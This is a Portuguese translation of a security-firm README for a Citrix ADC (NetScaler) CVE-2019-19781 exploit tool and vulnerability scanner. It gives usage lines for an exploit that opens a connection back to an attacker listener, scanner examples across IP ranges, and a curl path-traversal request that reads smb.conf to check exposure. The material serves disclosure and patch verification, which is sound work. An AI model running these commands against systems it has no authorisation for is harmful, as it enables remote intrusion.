
Esta é uma ferramenta publicada para a vulnerabilidade do Citrix ADC (NetScaler). Só estamos divulgando isso porque outros publicaram o código do exploit primeiro.
Isto só foi carregado porque outros pesquisadores publicaram seu código primeiro. Esperávamos ter mantido isto oculto por mais um tempo enquanto os defensores tivessem tempo adequado para corrigir seus sistemas.
Somos a favor da divulgação responsável, neste caso — o gato já tinha saído do saco.
Exploits: CVE-2019-19781
root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py
Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ Forensics and IOCS: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
Esta ferramenta explora uma falha de travessia de diretório no Citrix ADC (NetScalers) que chama um script perl usado para anexar arquivos em formato XML à máquina da vítima. Isso, por sua vez, permite execução remota de código.
Certifique-se de limpar estes dois locais de arquivo: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
Observe que nomes de host DNS e endereços IP são suportados nos campos victimaddress e attackerip_listener.
Uso:
python citrixmash.py <attackerip_listener> <attacker_port>
usage: citrixmash.py [-h] target targetport attackerip attackerport
Este é um teste simples para verificar se o servidor ainda está vulnerável ao CVE-2019-19781.
Uso: python3 cve-2019-19781.py
Observe que você pode usar notações CIDR, como 192.168.1.1/24, e também nomes de host.
Ele informará se o servidor ainda está vulnerável ou não. Você só pode testar um servidor por vez.
CVE-2019-19781-Scanner Empresa: TrustedSec Escrito por: Dave Kennedy Isto verificará se o sistema remoto ainda está vulnerável ao CVE-2019-19781. Isto só escaneará um host por vez. Você também pode usar notações CIDR, por exemplo: 192.168.1.1/24 Você também pode usar nomes de host em vez de endereços IP. Você também pode usar um arquivo com endereços IP gerado por uma ferramenta externa.
Exemplo: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Exemplo2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Exemplo3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Exemplo4: python3 cve-2019-19781_scanner.py as15169 443 Exemplo5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Exemplo6: python3 cve-2019-19781_scanner.py file:hostfile 443
Uso: python3 cve-2019-19781_scanner.py targetip targetport
usage: cve-2019-19781_scanner.py [-h] target targetport [verbose]
Se você quiser testar se essa exposição foi mitigada, use o seguinte:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
Ou, se você estiver usando uma AC (autoridade certificadora) empresarial interna ou não pública, você pode substituir usando a opção --insecure
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure
Um erro 403 significa que você está corrigido, ou se ele retornar um site da Citrix e NÃO o arquivo smb.conf em si.
Se você conseguir ver o smb.conf, então você está vulnerável.
Para instalar os requisitos, você precisará executar o comando abaixo.
pip3 install -r requirements.txt